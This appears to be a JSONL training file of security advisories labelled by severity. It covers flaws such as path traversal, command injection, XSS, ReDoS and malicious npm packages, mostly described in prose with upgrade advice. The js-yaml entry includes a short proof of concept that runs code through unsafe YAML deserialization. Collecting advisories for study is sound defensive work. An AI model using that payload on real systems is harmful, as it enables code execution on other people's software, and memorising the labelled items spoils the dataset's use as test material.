-{"id": "570960653c4e0ea96e3f", "text": "Unauthorized File Access in harp\n\nAffected versions of `harp` are vulnerable to Unauthorized File Access. The package states that it ignores files and directories with names that start with an underscore, such as `_secret-folder`. If the underscore character is URL encoded the server delivers the file.\n\n## Recommendation\n\nUpgrade to version `0.40.2` or later.", "text_raw": "Unauthorized File Access in harp\n\n[Severity: MEDIUM]\n\nAffected versions of `harp` are vulnerable to Unauthorized File Access. The package states that it ignores files and directories with names that start with an underscore, such as `_secret-folder`. If the underscore character is URL encoded the server delivers the file.\n\n## Recommendation\n\nUpgrade to version `0.40.2` or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "d9d2828bd0cc8990dd41", "text": "Creme Fraiche contains OS Command Injection\n\nThe set_meta_data function in lib/cremefraiche.rb in the Creme Fraiche gem before 0.6.1 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in the file name of an email attachment.  NOTE: some of these details are obtained from third party information.", "text_raw": "Creme Fraiche contains OS Command Injection\n\n[Severity: CRITICAL]\n\nThe set_meta_data function in lib/cremefraiche.rb in the Creme Fraiche gem before 0.6.1 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in the file name of an email attachment.  NOTE: some of these details are obtained from third party information.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "aea2c1e90c2d86d35fa8", "text": "Textpattern 4.2.0 (txplib_db) Null Termination Cross-Site Scripting Vulnerability", "text_raw": "Textpattern 4.2.0 (txplib_db) Null Termination Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-09-08", "split": "train"}
-{"id": "4b3311d546666ea55e74", "text": "Data races in lexer\n\nlexer is a plugin based lexical reader.Affected versions of this crate implements Sync for ReaderResult<T, E> with the trait bound T: Send, E: Send. Since matching on the public enum ReaderResult<T, E> provides access to &T & &E, allowing data race to a non-Sync type T or E. This can result in a memory corruption when multiple threads concurrently access &T or &E. Suggested fix for the bug is change the trait bounds imposed on T & E to be T: Sync, E: Sync.", "text_raw": "Data races in lexer\n\n[Severity: HIGH]\n\nlexer is a plugin based lexical reader.Affected versions of this crate implements Sync for ReaderResult<T, E> with the trait bound T: Send, E: Send. Since matching on the public enum ReaderResult<T, E> provides access to &T & &E, allowing data race to a non-Sync type T or E. This can result in a memory corruption when multiple threads concurrently access &T or &E. Suggested fix for the bug is change the trait bounds imposed on T & E to be T: Sync, E: Sync.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c96becfc67c52feff3cc", "text": "Path traversal in servey\n\nA path traversal vulnerability in servey versions prior to 3.3.2 allows an attacker to read content of any arbitrary file.", "text_raw": "Path traversal in servey\n\n[Severity: HIGH]\n\nA path traversal vulnerability in servey versions prior to 3.3.2 allows an attacker to read content of any arbitrary file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "0147746148db6bd7001d", "text": "Telefonica O2 Connection Manager 8.7 Service Trusted Path Privilege Escalation", "text_raw": "Telefonica O2 Connection Manager 8.7 Service Trusted Path Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2014-10-09", "split": "train"}
-{"id": "d5913854d853b9463bb4", "text": "Improper Verification of Cryptographic Signature in PySAML2\n\nPySAML2 before 5.0.0 does not check that the signature in a SAML document is enveloped and thus signature wrapping is effective, i.e., it is affected by XML Signature Wrapping (XSW). The signature information and the node/object that is signed can be in different places and thus the signature verification will succeed, but the wrong data will be used. This specifically affects the verification of assertions that have been signed.", "text_raw": "Improper Verification of Cryptographic Signature in PySAML2\n\n[Severity: HIGH]\n\nPySAML2 before 5.0.0 does not check that the signature in a SAML document is enveloped and thus signature wrapping is effective, i.e., it is affected by XML Signature Wrapping (XSW). The signature information and the node/object that is signed can be in different places and thus the signature verification will succeed, but the wrong data will be used. This specifically affects the verification of assertions that have been signed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-06", "split": "train"}
-{"id": "f35840a47762e31c5f96", "text": "personnummer/ruby vulnerable to Improper Input Validation\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.\n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1\n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "text_raw": "personnummer/ruby vulnerable to Improper Input Validation\n\n[Severity: LOW]\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\nThe vulnerability is determined to be low severity.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.  \n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1  \n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-23", "split": "train"}
-{"id": "bab3e507c3212e7aee8e", "text": "Malicious Package in m-backdoor\n\nAll versions of `m-backdoor` contain malicious code. The package downloads a file from a remote server and executes it as a preinstall script. At the time of the release of this advisory the downloaded file only defaces websites by removing elements randomly from the DOM.\n\n## Recommendation\n\nRemove the package from your system.", "text_raw": "Malicious Package in m-backdoor\n\n[Severity: CRITICAL]\n\nAll versions of `m-backdoor` contain malicious code. The package downloads a file from a remote server and executes it as a preinstall script. At the time of the release of this advisory the downloaded file only defaces websites by removing elements randomly from the DOM. \n\n\n## Recommendation\n\nRemove the package from your system.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d23a925bc059d8c1e309", "text": "TCExam <=11.2.011 Multiple Cross-Site Scripting Vulnerabilities", "text_raw": "TCExam <=11.2.011 Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-07-13", "split": "train"}
-{"id": "65ca276d0a0b4ae2633d", "text": "Uncontrolled Resource Consumption in trim-newlines\n\n@rkesters/gnuplot is an easy to use node module to draw charts using gnuplot and ps2pdf. The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the `.end()` method.", "text_raw": "Uncontrolled Resource Consumption in trim-newlines\n\n[Severity: HIGH]\n\n@rkesters/gnuplot is an easy to use node module to draw charts using gnuplot and ps2pdf. The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the `.end()` method.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "a41a8fd2190e62687191", "text": "Regular expression denial of service in react-native\n\nA regular expression denial of service (ReDoS) vulnerability in the validateBaseUrl function can cause the application to use excessive resources, become unresponsive, or crash. This was introduced in react-native version 0.59.0 and fixed in version 0.64.1.", "text_raw": "Regular expression denial of service in react-native\n\n[Severity: HIGH]\n\nA regular expression denial of service (ReDoS) vulnerability in the validateBaseUrl function can cause the application to use excessive resources, become unresponsive, or crash. This was introduced in react-native version 0.59.0 and fixed in version 0.64.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-20", "split": "train"}
-{"id": "79330c886766642c3dad", "text": "OS Command Injection in jw.util\n\nAn exploitable vulnerability exists in the configuration-loading functionality of the jw.util package before 2.3 for Python. When loading a configuration with FromString or FromStream with YAML, one can execute arbitrary Python code, resulting in OS command execution, because safe_load is not used.", "text_raw": "OS Command Injection in jw.util\n\n[Severity: CRITICAL]\n\nAn exploitable vulnerability exists in the configuration-loading functionality of the jw.util package before 2.3 for Python. When loading a configuration with FromString or FromStream with YAML, one can execute arbitrary Python code, resulting in OS command execution, because safe_load is not used.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-02", "split": "train"}
-{"id": "4de988a4f70024032897", "text": "Apache Solr DataImportHandler Code Injection Vulnerability\n\nAffected: Apache Solr\n\nThe optional Apache Solr module DataImportHandler contains a code injection vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache Solr DataImportHandler Code Injection Vulnerability\n\nAffected: Apache Solr\n\nThe optional Apache Solr module DataImportHandler contains a code injection vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "f8ff8be9c7b1f26a8e2b", "text": "Cross-site scripting vulnerability in TinyMCE plugins\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the URL processing logic of the `image` and `link` plugins. The vulnerability allowed arbitrary JavaScript execution when updating an image or link using a specially crafted URL. This issue only impacted users while editing and the dangerous URLs were stripped in any content extracted from the editor. This impacts all users who are using TinyMCE 5.9.2 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.10.0 by improved sanitization logic when updating URLs in the relevant plugins.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.10.0 or higher\n- Disable the `image` and `link` plugins\n\n### Acknowledgements\nTiny Technologies would like to thank Yakir6 for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes510/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)", "text_raw": "Cross-site scripting vulnerability in TinyMCE plugins\n\n[Severity: MEDIUM]\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the URL processing logic of the `image` and `link` plugins. The vulnerability allowed arbitrary JavaScript execution when updating an image or link using a specially crafted URL. This issue only impacted users while editing and the dangerous URLs were stripped in any content extracted from the editor. This impacts all users who are using TinyMCE 5.9.2 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.10.0 by improved sanitization logic when updating URLs in the relevant plugins.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.10.0 or higher\n- Disable the `image` and `link` plugins\n\n### Acknowledgements\nTiny Technologies would like to thank Yakir6 for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes510/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-02", "split": "train"}
-{"id": "d5165a7ac0ea04d7ad15", "text": "Arbitrary code execution in Apache Commons BeanUtils\n\nApache Commons BeanUtils, as distributed in lib/commons-beanutils-1.8.0.jar in Apache Struts 1.x through 1.3.10 and in other products requiring commons-beanutils through 1.9.2, does not suppress the class property, which allows remote attackers to \"manipulate\" the ClassLoader and execute arbitrary code via the class parameter, as demonstrated by the passing of this parameter to the getClass method of the ActionForm object in Struts 1.", "text_raw": "Arbitrary code execution in Apache Commons BeanUtils\n\n[Severity: HIGH]\n\nApache Commons BeanUtils, as distributed in lib/commons-beanutils-1.8.0.jar in Apache Struts 1.x through 1.3.10 and in other products requiring commons-beanutils through 1.9.2, does not suppress the class property, which allows remote attackers to \"manipulate\" the ClassLoader and execute arbitrary code via the class parameter, as demonstrated by the passing of this parameter to the getClass method of the ActionForm object in Struts 1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "5b7d7dd786702a57023a", "text": "Cross-site scripting in Apache Tomcat\n\nThe SSI printenv command in Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 echoes user provided data without escaping and is, therefore, vulnerable to XSS. SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.", "text_raw": "Cross-site scripting in Apache Tomcat\n\n[Severity: MEDIUM]\n\nThe SSI printenv command in Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 echoes user provided data without escaping and is, therefore, vulnerable to XSS. SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-30", "split": "train"}
-{"id": "d56d9fe04ceb07ed5984", "text": "GeniXCMS v0.0.1 CSRF Add Admin Exploit", "text_raw": "GeniXCMS v0.0.1 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-03-10", "split": "train"}
-{"id": "18574b42853071794763", "text": "Improper Certificate Validation in security-framework\n\nIf custom root certificates were registered with a ClientBuilder, the hostname of the target server would not be validated against its presented leaf certificate. This issue was fixed by properly configuring the trust evaluation logic to perform that check.", "text_raw": "Improper Certificate Validation in security-framework\n\n[Severity: MEDIUM]\n\nIf custom root certificates were registered with a ClientBuilder, the hostname of the target server would not be validated against its presented leaf certificate. This issue was fixed by properly configuring the trust evaluation logic to perform that check.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "92eb5112718e2178b620", "text": "TimelockController vulnerability in OpenZeppelin Contracts\n\n### Impact\n\nA vulnerability in `TimelockController` allowed an actor with the executor role to take immediate control of the timelock, by resetting the delay to 0 and escalating privileges, thus gaining unrestricted access to assets held in the contract. Instances with the executor role set to \"open\" allow anyone to use the executor role, thus leaving the timelock at risk of being taken over by an attacker.\n\n### Patches\n\nA fix is included in the following releases of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`:\n- 4.3.1\n- 3.4.2\n- 3.4.2-solc-0.7\n\nDeployed instances of `TimelockController` should be replaced with a fixed version by migrating all assets, ownership, and roles.\n\n### Workarounds\n\nRevoke the executor role from accounts not strictly under the team's control. We recommend revoking all executors that are not also proposers. When applying this mitigation, ensure there is at least one proposer and executor remaining.\n\n### References\n\n[Post-mortem](https://forum.openzeppelin.com/t/timelockcontroller-vulnerability-postmortem/14958).\n\n### Credits\n\nThe issue was identified by an anonymous white hat hacker through [Immunefi](https://immunefi.com/).\n\n### For more information\n\nIf you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.", "text_raw": "TimelockController vulnerability in OpenZeppelin Contracts\n\n[Severity: CRITICAL]\n\n### Impact\n\nA vulnerability in `TimelockController` allowed an actor with the executor role to take immediate control of the timelock, by resetting the delay to 0 and escalating privileges, thus gaining unrestricted access to assets held in the contract. Instances with the executor role set to \"open\" allow anyone to use the executor role, thus leaving the timelock at risk of being taken over by an attacker.\n\n### Patches\n\nA fix is included in the following releases of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`:\n- 4.3.1\n- 3.4.2\n- 3.4.2-solc-0.7\n\nDeployed instances of `TimelockController` should be replaced with a fixed version by migrating all assets, ownership, and roles.\n\n### Workarounds\n\nRevoke the executor role from accounts not strictly under the team's control. We recommend revoking all executors that are not also proposers. When applying this mitigation, ensure there is at least one proposer and executor remaining.\n\n### References\n\n[Post-mortem](https://forum.openzeppelin.com/t/timelockcontroller-vulnerability-postmortem/14958).\n\n### Credits\n\nThe issue was identified by an anonymous white hat hacker through [Immunefi](https://immunefi.com/).\n\n### For more information\n\nIf you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "ad663858532fad0bc83d", "text": "pandora-doomsday is malware\n\nThe `pandora-doomsday` package is a malicious package that adds itself to the package.json of other packages discovered on the victim host and attempts to publish the package.\n\nIt has been removed from the npm registry.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "pandora-doomsday is malware\n\n[Severity: CRITICAL]\n\nThe `pandora-doomsday` package is a malicious package that adds itself to the package.json of other packages discovered on the victim host and attempts to publish the package. \n\nIt has been removed from the npm registry.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "c51fa86012ae0eeffe3c", "text": "Publify `guest` role users can self-register even when the admin does not allow it\n\nIn Publify, 9.0.0.pre1 to 9.2.4 are vulnerable to Improper Access Control. `guest` role users can self-register even when the admin does not allow it. This happens due to front-end restriction only.", "text_raw": "Publify `guest` role users can self-register even when the admin does not allow it\n\n[Severity: MEDIUM]\n\nIn Publify, 9.0.0.pre1 to 9.2.4 are vulnerable to Improper Access Control. `guest` role users can self-register even when the admin does not allow it. This happens due to front-end restriction only.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "1cd5eb2601857c733312", "text": "Permissions bypass in KubeVirt\n\nA flaw was found in the KubeVirt main virt-handler versions before 0.26.0 regarding the access permissions of virt-handler. An attacker with access to create VMs could attach any secret within their namespace, allowing them to read the contents of that secret.", "text_raw": "Permissions bypass in KubeVirt\n\n[Severity: MEDIUM]\n\nA flaw was found in the KubeVirt main virt-handler versions before 0.26.0 regarding the access permissions of virt-handler. An attacker with access to create VMs could attach any secret within their namespace, allowing them to read the contents of that secret.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "c61e1e8b5d265b2c9603", "text": "malicious SVG attachment causing stored XSS vulnerability\n\n### Impact\nAn attacker with `write` permissions can upload an SVG file that contains malicious javascript. This javascript will be executed in a user's browser when the user is viewing that SVG file on the wiki.\n\n### Patches\nUsers are strongly advised to upgrade to a patched version.\n\nMoinMoin Wiki 1.9.11 has the necessary fixes and also contains other important fixes.\n\n### Workarounds\nIt is not advised to work around this, but to upgrade MoinMoin to a patched version.\n\nThat said, a work around via a Content Security Policy in the web server might be possible.\n\nAlso, it is of course helpful if you give `write` permissions (which include uploading attachments) only to trusted users.\n\n### For more information\nIf you have any questions or comments about this advisory, email me at [twaldmann@thinkmo.de](mailto:twaldmann@thinkmo.de).\n\n### Credits\n\nThis vulnerability was discovered by:\n\nCatarina Leite from the Checkmarx SCA AppSec team", "text_raw": "malicious SVG attachment causing stored XSS vulnerability\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker with `write` permissions can upload an SVG file that contains malicious javascript. This javascript will be executed in a user's browser when the user is viewing that SVG file on the wiki.\n\n### Patches\nUsers are strongly advised to upgrade to a patched version.\n\nMoinMoin Wiki 1.9.11 has the necessary fixes and also contains other important fixes.\n\n### Workarounds\nIt is not advised to work around this, but to upgrade MoinMoin to a patched version.\n\nThat said, a work around via a Content Security Policy in the web server might be possible.\n\nAlso, it is of course helpful if you give `write` permissions (which include uploading attachments) only to trusted users.\n\n### For more information\nIf you have any questions or comments about this advisory, email me at [twaldmann@thinkmo.de](mailto:twaldmann@thinkmo.de).\n\n### Credits\n\nThis vulnerability was discovered by:\n\nCatarina Leite from the Checkmarx SCA AppSec team", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-11-11", "split": "train"}
-{"id": "4ff1a0ccf17d16404abf", "text": "Deserialization Code Execution in js-yaml\n\nVersions 2.0.4 and earlier of `js-yaml` are affected by a code execution vulnerability in the YAML deserializer.\n\n## Proof of Concept\n```\nconst yaml = require('js-yaml');\n\nconst x = `test: !!js/function >\nfunction f() { \nconsole.log(1); \n}();`\n\nyaml.load(x);\n```\n\n## Recommendation\n\nUpdate js-yaml to version 2.0.5 or later, and ensure that all instances where the `.load()` method is called are updated to use `.safeLoad()` instead.", "text_raw": "Deserialization Code Execution in js-yaml\n\n[Severity: CRITICAL]\n\nVersions 2.0.4 and earlier of `js-yaml` are affected by a code execution vulnerability in the YAML deserializer.\n\n## Proof of Concept\n```\nconst yaml = require('js-yaml');\n\nconst x = `test: !!js/function >\nfunction f() { \nconsole.log(1); \n}();`\n\nyaml.load(x);\n```\n\n\n## Recommendation\n\nUpdate js-yaml to version 2.0.5 or later, and ensure that all instances where the `.load()` method is called are updated to use `.safeLoad()` instead.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "38c596ef3b69bae33edc", "text": "Information Exposure in cordova-android\n\nVersions of `cordova-android` prior to 6.0.0 are vulnerable to Information Exposure through log files. The application calls methods of the Log class. Messages passed to these methods (Log.v(), Log.d(), Log.i(), Log.w(), and Log.e()) are stored in a series of circular buffers on the device. By default, a maximum of four 16 KB rotated logs are kept in addition to the current log. The logged data can be read using Logcat on the device. When using platforms prior to Android 4.1 (Jelly Bean), the log data is not sandboxed per application; any application installed on the device has the capability to read data logged by other applications.\n\n## Recommendation\n\nUpgrade to version 6.0.0 or later.", "text_raw": "Information Exposure in cordova-android\n\n[Severity: HIGH]\n\nVersions of `cordova-android` prior to 6.0.0 are vulnerable to Information Exposure through log files. The application calls methods of the Log class. Messages passed to these methods (Log.v(), Log.d(), Log.i(), Log.w(), and Log.e()) are stored in a series of circular buffers on the device. By default, a maximum of four 16 KB rotated logs are kept in addition to the current log. The logged data can be read using Logcat on the device. When using platforms prior to Android 4.1 (Jelly Bean), the log data is not sandboxed per application; any application installed on the device has the capability to read data logged by other applications.\n\n\n## Recommendation\n\nUpgrade to version 6.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "9381591bb6e70d3b2481", "text": "Denial of service in fast-csv\n\n### Impact\nPossible ReDoS (Regular Expression Denial of Service) when using `ignoreEmpty` option when parsing.\n\n### Patches\nThis has been patched in `v4.3.6`\n\n### Workarounds\nYou will only be affected by this if you use the `ignoreEmpty` parsing option. If you do use this option it is recommended that you upgrade to the latest version `v4.3.6`\n\n### References\n\nThis vulnerability was found using a [CodeQL](https://securitylab.github.com/tools/codeql) query which identified `EMPTY_ROW_REGEXP` regular expression as vulnerable.\n[Link to query run](https://lgtm.com/query/8609731774537641779/).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fast-csv](https://github.com/C2FO/fast-csv)", "text_raw": "Denial of service in fast-csv\n\n[Severity: LOW]\n\n### Impact\nPossible ReDoS (Regular Expression Denial of Service) when using `ignoreEmpty` option when parsing.\n\n### Patches\nThis has been patched in `v4.3.6`\n\n### Workarounds\nYou will only be affected by this if you use the `ignoreEmpty` parsing option. If you do use this option it is recommended that you upgrade to the latest version `v4.3.6`\n\n### References\n\nThis vulnerability was found using a [CodeQL](https://securitylab.github.com/tools/codeql) query which identified `EMPTY_ROW_REGEXP` regular expression as vulnerable.\n[Link to query run](https://lgtm.com/query/8609731774537641779/). \n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fast-csv](https://github.com/C2FO/fast-csv)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-12-08", "split": "train"}
-{"id": "26bf580e994092044784", "text": "Cross-site scripting in eZ Platform Kernel\n\n### Impact\nIn file upload it is possible by certain means to upload files like .html and .js. These may contain XSS exploits which will be run when links to them are accessed by victims.\n\n### Patches\nThe fix consists simply of adding common types of scriptable file types to the configuration of the already existing filetype blacklist feature. See \"Patched versions\". As such, this can also be done manually, without installing the patched versions. This may be relevant if you are currently running a considerably older version of the kernel package and don't want to upgrade it at this time. Please see the settting \"ezsettings.default.io.file_storage.file_type_blacklist\" at:\nhttps://github.com/ezsystems/ezplatform-kernel/blob/master/eZ/Bundle/EzPublishCoreBundle/Resources/config/default_settings.yml#L109\n\n### Important note\nYou should adapt this setting to your needs. Do not add file types to the blacklist that you actually need to be able to upload. For instance, if you need your editors to be able to upload SVG files, then don't blacklist that. Instead, you could e.g. use an approval workflow for such content.", "text_raw": "Cross-site scripting in eZ Platform Kernel\n\n[Severity: HIGH]\n\n### Impact\nIn file upload it is possible by certain means to upload files like .html and .js. These may contain XSS exploits which will be run when links to them are accessed by victims.\n\n### Patches\nThe fix consists simply of adding common types of scriptable file types to the configuration of the already existing filetype blacklist feature. See \"Patched versions\". As such, this can also be done manually, without installing the patched versions. This may be relevant if you are currently running a considerably older version of the kernel package and don't want to upgrade it at this time. Please see the settting \"ezsettings.default.io.file_storage.file_type_blacklist\" at:\nhttps://github.com/ezsystems/ezplatform-kernel/blob/master/eZ/Bundle/EzPublishCoreBundle/Resources/config/default_settings.yml#L109\n\n### Important note\nYou should adapt this setting to your needs. Do not add file types to the blacklist that you actually need to be able to upload. For instance, if you need your editors to be able to upload SVG files, then don't blacklist that. Instead, you could e.g. use an approval workflow for such content.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "22e30eb9b841626411f3", "text": "RCE in Third Party Library in Shopware\n\n### Impact\nRCE in Third Party Library\n\n### Patches\nWe recommend to update to the current version 6.3.1.1. You can get the update to 6.3.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### References\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-09-2020", "text_raw": "RCE in Third Party Library in Shopware\n\n[Severity: LOW]\n\n### Impact\nRCE in Third Party Library\n\n### Patches\nWe recommend to update to the current version 6.3.1.1. You can get the update to 6.3.1.1 regularly via the Auto-Updater or directly via the download overview. \n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### References\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-09-2020", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-23", "split": "train"}
